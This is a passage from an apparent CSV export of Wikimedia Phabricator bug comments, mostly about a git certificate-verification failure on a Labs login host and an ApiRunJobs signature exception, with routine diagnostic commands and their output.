See screen shot",,,1394463486,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-3kxddh476wfgf5ssofet,task_subcomment,,True,c3,1,False,,,-69,True,0.0,0.0,0.0,3.0,0.0,5.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,0.8648648648648649,"Also upon clicking BACK and logging in again, user is presented with error msg. 


Central user log in
No active login attempt is in progress for your session.

See screen shot"
64432,"tools: ""git error: server certificate verification failed"" for git.wikimedia.org on tools-login-eqiad","Fetching origin
error: server certificate verification failed. CAfile: /etc/ssl/certs/ca-certificates.crt CRLfile: none while accessing https://git.wikimedia.org/git/mediawiki/core.git/info/refs
fatal: HTTP request failed
error: Could not fetch origin

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1394273940,1410294575.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-tavs3475gjmnnhipuvnw,task_description,declined,True,c3,1,True,False,True,-69,True,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,4.293103448275862,0.6206896551724138,"Fetching origin
error: server certificate verification failed. CAfile: /etc/ssl/certs/ca-certificates.crt CRLfile: none while accessing URL
fatal: HTTP request failed
error: Could not fetch origin

--------------------------
**Version**: unspecified
**Severity**: normal"
284076,"tools: ""git error: server certificate verification failed"" for git.wikimedia.org on tools-login-eqiad","I can no longer reproduce this on tools-login or tools-dev.  I'm not aware that someone consciously fixed this, so resolving as WORKSFORME.",,,1410294575,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-tavs3475gjmnnhipuvnw,task_subcomment,,True,c3,1,True,,,-43,True,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,16.0,10.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,10.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.806451612903226,0.8387096774193549,"I can no longer reproduce this on tools-login or tools-dev.  I'm not aware that someone consciously fixed this, so resolving as WORKSFORME."
284069,"tools: ""git error: server certificate verification failed"" for git.wikimedia.org on tools-login-eqiad",Happened on pronunciationrecording.eqiad.wmflabs too.,,,1395939528,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-tavs3475gjmnnhipuvnw,task_subcomment,,True,c3,1,True,,,-66,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,Happened on pronunciationrecording.eqiad.wmflabs too.
284063,"tools: ""git error: server certificate verification failed"" for git.wikimedia.org on tools-login-eqiad","Ran ""strace -f"", extracted the following list of filenames, and all are identical on tools-{dev,login}-eqiad:

| /etc/gai.conf
| /etc/gcrypt/fips_enabled
| /etc/gitconfig
| /etc/gnutls/pkcs11.conf
| /etc/host.conf
| /etc/hosts
| /etc/ld.so.cache
| /etc/ld.so.nohwcap
| /etc/ld.so.preload
| /etc/nsswitch.conf
| /etc/pkcs11/modules
| /etc/pkcs11/pkcs11.conf
| /etc/resolv.conf
| /etc/ssl/certs/ca-certificates.crt
| /lib/x86_64-linux-gnu/libcom_err.so.2
| /lib/x86_64-linux-gnu/libcrypt.so.1
| /lib/x86_64-linux-gnu/libc.so.6
| /lib/x86_64-linux-gnu/libdl.so.2
| /lib/x86_64-linux-gnu/libgcrypt.so.11
| /lib/x86_64-linux-gnu/libgpg-error.so.0
| /lib/x86_64-linux-gnu/libkeyutils.so.1
| /lib/x86_64-linux-gnu/libnss_dns.so.2
| /lib/x86_64-linux-gnu/libnss_files.so.2
| /lib/x86_64-linux-gnu/libpthread.so.0
| /lib/x86_64-linux-gnu/libresolv.so.2
| /lib/x86_64-linux-gnu/librt.so.1
| /lib/x86_64-linux-gnu/libz.so.1
| /proc/sys/crypto/fips_enabled
| /usr/bin/git
| /usr/lib/git-core/git-remote-https
| /usr/lib/locale/locale-archive
| /usr/lib/x86_64-linux-gnu/libasn1.so.8
| /usr/lib/x86_64-linux-gnu/libcurl-gnutls.so.4
| /usr/lib/x86_64-linux-gnu/libgnutls.so.26
| /usr/lib/x86_64-linux-gnu/libgssapi_krb5.so.2
| /usr/lib/x86_64-linux-gnu/libgssapi.so.3
| /usr/lib/x86_64-linux-gnu/libhcrypto.so.4
| /usr/lib/x86_64-linux-gnu/libheimbase.so.1
| /usr/lib/x86_64-linux-gnu/libheimntlm.so.0
| /usr/lib/x86_64-linux-gnu/libhx509.so.5
| /usr/lib/x86_64-linux-gnu/libidn.so.11
| /usr/lib/x86_64-linux-gnu/libk5crypto.so.3
| /usr/lib/x86_64-linux-gnu/libkrb5.so.26
| /usr/lib/x86_64-linux-gnu/libkrb5.so.3
| /usr/lib/x86_64-linux-gnu/libkrb5support.so.0
| /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2
| /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2
| /usr/lib/x86_64-linux-gnu/libp11-kit.so.0
| /usr/lib/x86_64-linux-gnu/libroken.so.18
| /usr/lib/x86_64-linux-gnu/librtmp.so.0
| /usr/lib/x86_64-linux-gnu/libsasl2.so.2
| /usr/lib/x86_64-linux-gnu/libsqlite3.so.0
| /usr/lib/x86_64-linux-gnu/libtasn1.so.3
| /usr/lib/x86_64-linux-gnu/libwind.so.0
| /usr/share/git-core/templates/
| /usr/share/git-core/templates/branches
| /usr/share/git-core/templates/config
| /usr/share/git-core/templates/description
| /usr/share/git-core/templates/hooks
| /usr/share/git-core/templates/hooks/applypatch-msg.sample
| /usr/share/git-core/templates/hooks/commit-msg.sample
| /usr/share/git-core/templates/hooks/post-update.sample
| /usr/share/git-core/templates/hooks/pre-applypatch.sample
| /usr/share/git-core/templates/hooks/pre-commit.sample
| /usr/share/git-core/templates/hooks/prepare-commit-msg.sample
| /usr/share/git-core/templates/hooks/pre-rebase.sample
| /usr/share/git-core/templates/hooks/update.sample
| /usr/share/git-core/templates/info
| /usr/share/git-core/templates/info/exclude
| /usr/share/locale/en/LC_MESSAGES/git.mo
| /usr/share/locale/en_US/LC_MESSAGES/git.mo
| /usr/share/locale/en_US.utf8/LC_MESSAGES/git.mo
| /usr/share/locale/en_US.UTF-8/LC_MESSAGES/git.mo
| /usr/share/locale/en.utf8/LC_MESSAGES/git.mo
| /usr/share/locale/en.UTF-8/LC_MESSAGES/git.mo
| /usr/share/locale-langpack/en/LC_MESSAGES/git.mo
| /usr/share/locale-langpack/en_US/LC_MESSAGES/git.mo
| /usr/share/locale-langpack/en_US.utf8/LC_MESSAGES/git.mo
| /usr/share/locale-langpack/en_US.UTF-8/LC_MESSAGES/git.mo
| /usr/share/locale-langpack/en.utf8/LC_MESSAGES/git.mo
| /usr/share/locale-langpack/en.UTF-8/LC_MESSAGES/git.mo
| /usr/share/locale/locale.alias
| /var/run/nscd/socket",,,1394419981,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-tavs3475gjmnnhipuvnw,task_subcomment,,True,c3,1,True,,,-69,True,0.09090909090909091,0.0,0.0,0.0,0.0,1.3636363636363635,0.09090909090909091,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.1818181818181819,0.18181818181818182,0.0,0.0,0.0,0.0,0.0,0.09090909090909091,0.0,0.0,0.0,0.0,0.0,0.0,0.18181818181818182,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.09090909090909091,0.0,0.09090909090909091,0.0,0.0,0.0,17.90909090909091,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.09090909090909091,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.09090909090909091,0.09090909090909091,1.4545454545454546,0.0,0.09090909090909091,0.18181818181818182,0.0,0.0,0.0,0.0,0.36363636363636365,0.09090909090909091,0.2727272727272727,0.0,0.0,0.18181818181818182,20.636363636363637,0.0,0.18181818181818182,0.0,0.0,0.0,0.0,0.0,0.0,0.09090909090909091,0.0,0.0,0.18181818181818182,3.3086829019507844,0.22884525479195886,"Ran ""strace -f"", extracted the following list of filenames, and all are identical on tools-{dev,login}-eqiad:

| /etc/gai.conf
| /etc/gcrypt/fips_enabled
| /etc/gitconfig
| /etc/gnutls/pkcs11.conf
| /etc/host.conf
| /etc/hosts
| /etc/ld.so.cache
| /etc/ld.so.nohwcap
| /etc/ld.so.preload
| /etc/nsswitch.conf
| /etc/pkcs11/modules
| /etc/pkcs11/pkcs11.conf
| /etc/resolv.conf
| /etc/ssl/certs/ca-certificates.crt
| /lib/x86_64-linux-gnu/libcom_err.so.2
| /lib/x86_64-linux-gnu/libcrypt.so.1
| /lib/x86_64-linux-gnu/libc.so.6
| /lib/x86_64-linux-gnu/libdl.so.2
| /lib/x86_64-linux-gnu/libgcrypt.so.11
| /lib/x86_64-linux-gnu/libgpg-error.so.0
| /lib/x86_64-linux-gnu/libkeyutils.so.1
| /lib/x86_64-linux-gnu/libnss_dns.so.2
| /lib/x86_64-linux-gnu/libnss_files.so.2
| /lib/x86_64-linux-gnu/libpthread.so.0
| /lib/x86_64-linux-gnu/libresolv.so.2
| /lib/x86_64-linux-gnu/librt.so.1
| /lib/x86_64-linux-gnu/libz.so.1
| /proc/sys/crypto/fips_enabled
| /usr/bin/git
| /usr/lib/git-core/git-remote-https
| /usr/lib/locale/locale-archive
| /usr/lib/x86_64-linux-gnu/libasn1.so.8
| /usr/lib/x86_64-linux-gnu/libcurl-gnutls.so.4
| /usr/lib/x86_64-linux-gnu/libgnutls.so.26
| /usr/lib/x86_64-linux-gnu/libgssapi_krb5.so.2
| /usr/lib/x86_64-linux-gnu/libgssapi.so.3
| /usr/lib/x86_64-linux-gnu/libhcrypto.so.4
| /usr/lib/x86_64-linux-gnu/libheimbase.so.1
| /usr/lib/x86_64-linux-gnu/libheimntlm.so.0
| /usr/lib/x86_64-linux-gnu/libhx509.so.5
| /usr/lib/x86_64-linux-gnu/libidn.so.11
| /usr/lib/x86_64-linux-gnu/libk5crypto.so.3
| /usr/lib/x86_64-linux-gnu/libkrb5.so.26
| /usr/lib/x86_64-linux-gnu/libkrb5.so.3
| /usr/lib/x86_64-linux-gnu/libkrb5support.so.0
| /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2
| /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2
| /usr/lib/x86_64-linux-gnu/libp11-kit.so.0
| /usr/lib/x86_64-linux-gnu/libroken.so.18
| /usr/lib/x86_64-linux-gnu/librtmp.so.0
| /usr/lib/x86_64-linux-gnu/libsasl2.so.2
| /usr/lib/x86_64-linux-gnu/libsqlite3.so.0
| /usr/lib/x86_64-linux-gnu/libtasn1.so.3
| /usr/lib/x86_64-linux-gnu/libwind.so.0
| /usr/share/git-core/templates/
| /usr/share/git-core/templates/branches
| /usr/share/git-core/templates/config
| /usr/share/git-core/templates/description
| /usr/share/git-core/templates/hooks
| /usr/share/git-core/templates/hooks/applypatch-msg.sample
| /usr/share/git-core/templates/hooks/commit-msg.sample
| /usr/share/git-core/templates/hooks/post-update.sample
| /usr/share/git-core/templates/hooks/pre-applypatch.sample
| /usr/share/git-core/templates/hooks/pre-commit.sample
| /usr/share/git-core/templates/hooks/prepare-commit-msg.sample
| /usr/share/git-core/templates/hooks/pre-rebase.sample
| /usr/share/git-core/templates/hooks/update.sample
| /usr/share/git-core/templates/info
| /usr/share/git-core/templates/info/exclude
| /usr/share/locale/en/LC_MESSAGES/git.mo
| /usr/share/locale/en_US/LC_MESSAGES/git.mo
| /usr/share/locale/en_US.utf8/LC_MESSAGES/git.mo
| /usr/share/locale/en_US.UTF-8/LC_MESSAGES/git.mo
| /usr/share/locale/en.utf8/LC_MESSAGES/git.mo
| /usr/share/locale/en.UTF-8/LC_MESSAGES/git.mo
| /usr/share/locale-langpack/en/LC_MESSAGES/git.mo
| /usr/share/locale-langpack/en_US/LC_MESSAGES/git.mo
| /usr/share/locale-langpack/en_US.utf8/LC_MESSAGES/git.mo
| /usr/share/locale-langpack/en_US.UTF-8/LC_MESSAGES/git.mo
| /usr/share/locale-langpack/en.utf8/LC_MESSAGES/git.mo
| /usr/share/locale-langpack/en.UTF-8/LC_MESSAGES/git.mo
| /usr/share/locale/locale.alias
| /var/run/nscd/socket"
284057,"tools: ""git error: server certificate verification failed"" for git.wikimedia.org on tools-login-eqiad","No differences in relevant packages:

| [tim@passepartout ~]$ for CMD in 'sudo dpkg -l'; do diff <(ssh tools-login.eqiad.wmflabs ""$CMD"") <(ssh tools-dev.eqiad.wmflabs ""$CMD""); done 

| If you are having access problems, please see: https://wikitech.wikimedia.org/wiki/Access#Accessing_public_and_private_instances

| If you are having access problems, please see: https://wikitech.wikimedia.org/wiki/Access#Accessing_public_and_private_instances
| 28d27
| < ii  automake                                                    1:1.11.3-1ubuntu2                                   Tool for generating GNU Standards-compliant Makefiles
| 75d73
| < ii  dh-autoreconf                                               5ubuntu1                                            debhelper add-on to call autoreconf and clean up after the build
| 1137a1136
| > ii  nmap                                                        5.21-1.1ubuntu1                                     The Network Mapper
| 1215c1214
| < ii  python-coverage                                             3.4-1ubuntu1                                        code coverage tool for Python
| ---
| > ii  python-coverage                                             3.6-1                                               Code coverage measurement for Python
| 1382a1382
| > ii  terminatord                                                 1.0.6.0ppa2                                         Terminator daemon
| [tim@passepartout ~]$",,,1394386176,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-tavs3475gjmnnhipuvnw,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.5,1.0,6.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,9.5,1.0,0.5,1.5,0.0,0.0,0.0,0.0,2.5,1.5,6.0,0.0,1.0,6.5,12.5,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,5.5,6.214338312644646,0.5846833578792341,"No differences in relevant packages:

| [tim@passepartout ~]$ for CMD in 'sudo dpkg -l'; do diff <(ssh tools-login.eqiad.wmflabs ""$CMD"") <(ssh tools-dev.eqiad.wmflabs ""$CMD""); done 

| If you are having access problems, please see: URL

| If you are having access problems, please see: URL
| 28d27
| < ii  automake                                                    1:1.11.3-1ubuntu2                                   Tool for generating GNU Standards-compliant Makefiles
| 75d73
| < ii  dh-autoreconf                                               5ubuntu1                                            debhelper add-on to call autoreconf and clean up after the build
| 1137a1136
| > ii  nmap                                                        5.21-1.1ubuntu1                                     The Network Mapper
| 1215c1214
| < ii  python-coverage                                             3.4-1ubuntu1                                        code coverage tool for Python
| ---
| > ii  python-coverage                                             3.6-1                                               Code coverage measurement for Python
| 1382a1382
| > ii  terminatord                                                 1.0.6.0ppa2                                         Terminator daemon
| [tim@passepartout ~]$"
284050,"tools: ""git error: server certificate verification failed"" for git.wikimedia.org on tools-login-eqiad","Only difference beneath /etc/ssl is in /etc/ssl/certs/java/cacerts which shouldn't affect git clone:

| [tim@passepartout ~]$ for CMD in 'sudo find /etc/ssl -not -type d -print0 | xargs -0r sudo md5sum'; do diff -u <(ssh tools-login.eqiad.wmflabs ""$CMD"") <(ssh tools-dev.eqiad.wmflabs ""$CMD""); done

| If you are having access problems, please see: https://wikitech.wikimedia.org/wiki/Access#Accessing_public_and_private_instances

| If you are having access problems, please see: https://wikitech.wikimedia.org/wiki/Access#Accessing_public_and_private_instances
| --- /dev/fd/63  2014-03-09 17:25:44.783519345 +0000
| +++ /dev/fd/62  2014-03-09 17:25:44.784519334 +0000
| @@ -286,7 +286,7 @@
|  c9048f79a8f1da62f89b3eeb8c493689  /etc/ssl/certs/b42ff584.0
|  8a2b0f016146ed5f78f8bdd828772803  /etc/ssl/certs/NetLock_Qualified_=Class_QA=_Root.pem
|  f130d662fbfeb1ddc4c35d2e0c67a357  /etc/ssl/certs/Camerfirma_Global_Chambersign_Root.pem
| -750061a18276cd2b4fc8debd90cd947f  /etc/ssl/certs/java/cacerts
| +321edf0746699c5ac1158632a9ad4ea3  /etc/ssl/certs/java/cacerts
|  e0a3a4ecbfc76649d2c9f4f0d2773565  /etc/ssl/certs/a2df7ad7.0
|  47efdfb0853adc341e39d422c96fb36f  /etc/ssl/certs/TC_TrustCenter__Germany__Class_2_CA.pem
|  485bce6d706a2c6ef08e0d8cfd51760d  /etc/ssl/certs/3c860d51.0
| [tim@passepartout ~]$",,,1394386016,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-tavs3475gjmnnhipuvnw,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.6666666666666666,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,1.0,0.0,0.0,0.6666666666666666,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.333333333333332,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.0,4.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,1.3333333333333333,0.6666666666666666,4.333333333333333,0.0,0.6666666666666666,2.0,12.666666666666666,0.0,2.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,2.0,4.531699664611057,0.48003894839337885,"Only difference beneath /etc/ssl is in /etc/ssl/certs/java/cacerts which shouldn't affect git clone:

| [tim@passepartout ~]$ for CMD in 'sudo find /etc/ssl -not -type d -print0 | xargs -0r sudo md5sum'; do diff -u <(ssh tools-login.eqiad.wmflabs ""$CMD"") <(ssh tools-dev.eqiad.wmflabs ""$CMD""); done

| If you are having access problems, please see: URL

| If you are having access problems, please see: URL
| --- /dev/fd/63  2014-03-09 17:25:44.783519345 +0000
| +++ /dev/fd/62  2014-03-09 17:25:44.784519334 +0000
| @@ -286,7 +286,7 @@
|  c9048f79a8f1da62f89b3eeb8c493689  /etc/ssl/certs/b42ff584.0
|  8a2b0f016146ed5f78f8bdd828772803  /etc/ssl/certs/NetLock_Qualified_=Class_QA=_Root.pem
|  f130d662fbfeb1ddc4c35d2e0c67a357  /etc/ssl/certs/Camerfirma_Global_Chambersign_Root.pem
| -750061a18276cd2b4fc8debd90cd947f  /etc/ssl/certs/java/cacerts
| +321edf0746699c5ac1158632a9ad4ea3  /etc/ssl/certs/java/cacerts
|  e0a3a4ecbfc76649d2c9f4f0d2773565  /etc/ssl/certs/a2df7ad7.0
|  47efdfb0853adc341e39d422c96fb36f  /etc/ssl/certs/TC_TrustCenter__Germany__Class_2_CA.pem
|  485bce6d706a2c6ef08e0d8cfd51760d  /etc/ssl/certs/3c860d51.0
| [tim@passepartout ~]$"
284047,"tools: ""git error: server certificate verification failed"" for git.wikimedia.org on tools-login-eqiad","To reproduce:

| [tim@passepartout ~]$ for HOST in tools-{dev,login}-eqiad.wmflabs.org; do ssh ""$HOST"" 'git clone https://git.wikimedia.org/git/pywikibot/compat.git $(mktemp -d)'; done

| If you are having access problems, please see: https://wikitech.wikimedia.org/wiki/Access#Accessing_public_and_private_instances
| Cloning into '/tmp/tmp.sNGj8sMBod'...

| If you are having access problems, please see: https://wikitech.wikimedia.org/wiki/Access#Accessing_public_and_private_instances
| Cloning into '/tmp/tmp.e4O2n9lnBB'...
| error: server certificate verification failed. CAfile: /etc/ssl/certs/ca-certificates.crt CRLfile: none while accessing https://git.wikimedia.org/git/pywikibot/compat.git/info/refs
| fatal: HTTP request failed
| [tim@passepartout ~]$

So tools-dev-eqiad works, tools-login-eqiad fails.  But the problem doesn't seem to lie with curl:

| [tim@passepartout ~]$ for HOST in tools-{dev,login}-eqiad.wmflabs.org; do ssh ""$HOST"" 'curl https://git.wikimedia.org/git/pywikibot/compat.git > /dev/null'; done

| If you are having access problems, please see: https://wikitech.wikimedia.org/wiki/Access#Accessing_public_and_private_instances
|   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
|                                  Dload  Upload   Total   Spent    Left  Speed
| 100  1389  100  1389    0     0  84243      0 --:--:-- --:--:-- --:--:--  113k

| If you are having access problems, please see: https://wikitech.wikimedia.org/wiki/Access#Accessing_public_and_private_instances
|   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
|                                  Dload  Upload   Total   Spent    Left  Speed
| 100  1389  100  1389    0     0  78147      0 --:--:-- --:--:-- --:--:-- 99214
| [tim@passepartout ~]$",,,1394291039,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-tavs3475gjmnnhipuvnw,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,0.0,0.25,1.25,0.0,0.0,0.0,1.0,0.5,2.25,0.0,0.0,0.0,0.0,0.0,1.75,3.75,0.25,0.5,0.0,0.25,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,1.0,0.0,0.0,1.0,0.25,0.0,0.5,0.25,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,15.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.25,1.0,14.5,1.5,0.25,0.25,0.0,0.0,0.0,0.0,2.25,1.0,5.5,0.0,1.0,3.75,10.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.75,0.0,0.0,2.0,3.7070411392405065,0.5963607594936708,"To reproduce:

| [tim@passepartout ~]$ for HOST in tools-{dev,login}-eqiad.wmflabs.org; do ssh ""$HOST"" 'git clone URL $(mktemp -d)'; done

| If you are having access problems, please see: URL
| Cloning into '/tmp/tmp.sNGj8sMBod'...

| If you are having access problems, please see: URL
| Cloning into '/tmp/tmp.e4O2n9lnBB'...
| error: server certificate verification failed. CAfile: /etc/ssl/certs/ca-certificates.crt CRLfile: none while accessing URL
| fatal: HTTP request failed
| [tim@passepartout ~]$

So tools-dev-eqiad works, tools-login-eqiad fails.  But the problem doesn't seem to lie with curl:

| [tim@passepartout ~]$ for HOST in tools-{dev,login}-eqiad.wmflabs.org; do ssh ""$HOST"" 'curl URL > /dev/null'; done

| If you are having access problems, please see: URL
|   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
|                                  Dload  Upload   Total   Spent    Left  Speed
| 100  1389  100  1389    0     0  84243      0 --:--:-- --:--:-- --:--:--  113k

| If you are having access problems, please see: URL
|   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
|                                  Dload  Upload   Total   Spent    Left  Speed
| 100  1389  100  1389    0     0  78147      0 --:--:-- --:--:-- --:--:-- 99214
| [tim@passepartout ~]$"
64280,ApiRunJobs HTTP request and fallback both fail on Wikimedia Labs,"After moving from e52153e to 1e54f0c and running update.php (the latter probably unrelated), piramido.wmflabs.org consistently fails to load pages with an ApiRunJobs error:

[c71ea2c8] /wiki/Special:Random Exception from line 1366 of /srv/mediawiki/includes/api/ApiBase.php: Invalid or stale signature provided

Backtrace:

#0 /srv/mediawiki/includes/api/ApiRunJobs.php(54): ApiBase->dieUsage(string, string, integer)
#1 /srv/mediawiki/includes/api/ApiMain.php(862): ApiRunJobs->execute()
#2 /srv/mediawiki/includes/api/ApiMain.php(332): ApiMain->executeAction()
#3 /srv/mediawiki/includes/Wiki.php(649): ApiMain->execute()
#4 /srv/mediawiki/includes/Wiki.php(669): {closure}()
#5 /srv/mediawiki/includes/Wiki.php(451): MediaWiki->triggerJobs()
#6 /srv/mediawiki/index.php(49): MediaWiki->run()
#7 {main}


It looks like the socket method is failing, probably for the same reason a simple:

curl 'http://piramido.wmflabs.org/w/api.php'

fails on piramido with:

curl: (7) couldn't connect to host

I think Labs currently can't connect to itself with external host names.

There is a fallback that should work, but it's throwing the above exception consistently.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1394056440,1394058346.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-r6akabtmbcy5rlrqwhp3,task_description,resolved,True,c3,1,True,False,True,-70,True,0.0,0.0,0.0,0.0,0.6666666666666666,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,2.6666666666666665,5.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,2.6666666666666665,0.6666666666666666,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,10.666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,2.6666666666666665,0.6666666666666666,9.333333333333334,0.0,1.0,2.6666666666666665,0.0,0.0,0.0,2.6666666666666665,2.0,0.0,4.666666666666667,0.0,1.3333333333333333,5.0,11.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.3333333333333333,1.0,0.3333333333333333,1.3333333333333333,0.0,0.0,1.3333333333333333,4.196752002786485,0.5721873911529084,"After moving from e52153e to 1e54f0c and running update.php (the latter probably unrelated), piramido.wmflabs.org consistently fails to load pages with an ApiRunJobs error:

[c71ea2c8] /wiki/Special:Random Exception from line 1366 of /srv/mediawiki/includes/api/ApiBase.php: Invalid or stale signature provided

Backtrace:

#0 /srv/mediawiki/includes/api/ApiRunJobs.php(54): ApiBase->dieUsage(string, string, integer)
#1 /srv/mediawiki/includes/api/ApiMain.php(862): ApiRunJobs->execute()
#2 /srv/mediawiki/includes/api/ApiMain.php(332): ApiMain->executeAction()
#3 /srv/mediawiki/includes/Wiki.php(649): ApiMain->execute()
#4 /srv/mediawiki/includes/Wiki.php(669): {closure}()
#5 /srv/mediawiki/includes/Wiki.php(451): MediaWiki->triggerJobs()
#6 /srv/mediawiki/index.php(49): MediaWiki->run()
#7 {main}


It looks like the socket method is failing, probably for the same reason a simple:

curl 'URL

fails on piramido with:

curl: (7) couldn't connect to host

I think Labs currently can't connect to itself with external host names.

There is a fallback that should work, but it's throwing the above exception consistently.

--------------------------
**Version**: unspecified
**Severity**: normal"
290373,ApiRunJobs HTTP request and fallback both fail on Wikimedia Labs,"Confirmed, that fixes it.  Marking duplicate.

